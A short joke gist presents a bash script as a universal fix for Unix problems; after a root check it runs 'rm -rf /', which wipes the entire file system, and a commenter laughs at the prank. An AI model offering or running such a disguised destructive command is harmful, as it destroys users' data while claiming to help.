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bash script to un-fuck _any_ *nix issue (philosophically speaking).
#/usr/bin/env bash
if [ `whoami` != root ]; then
echo "You must be root to do this, obviously."
exit
fi
echo "If you don't have a file system, then you don't have such a problem."
echo "Now deleting the entire file system."
rm -rf /
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GMali commented Sep 13, 2012

What! Hahaha. Mental note: Always check Brent's code before using it.

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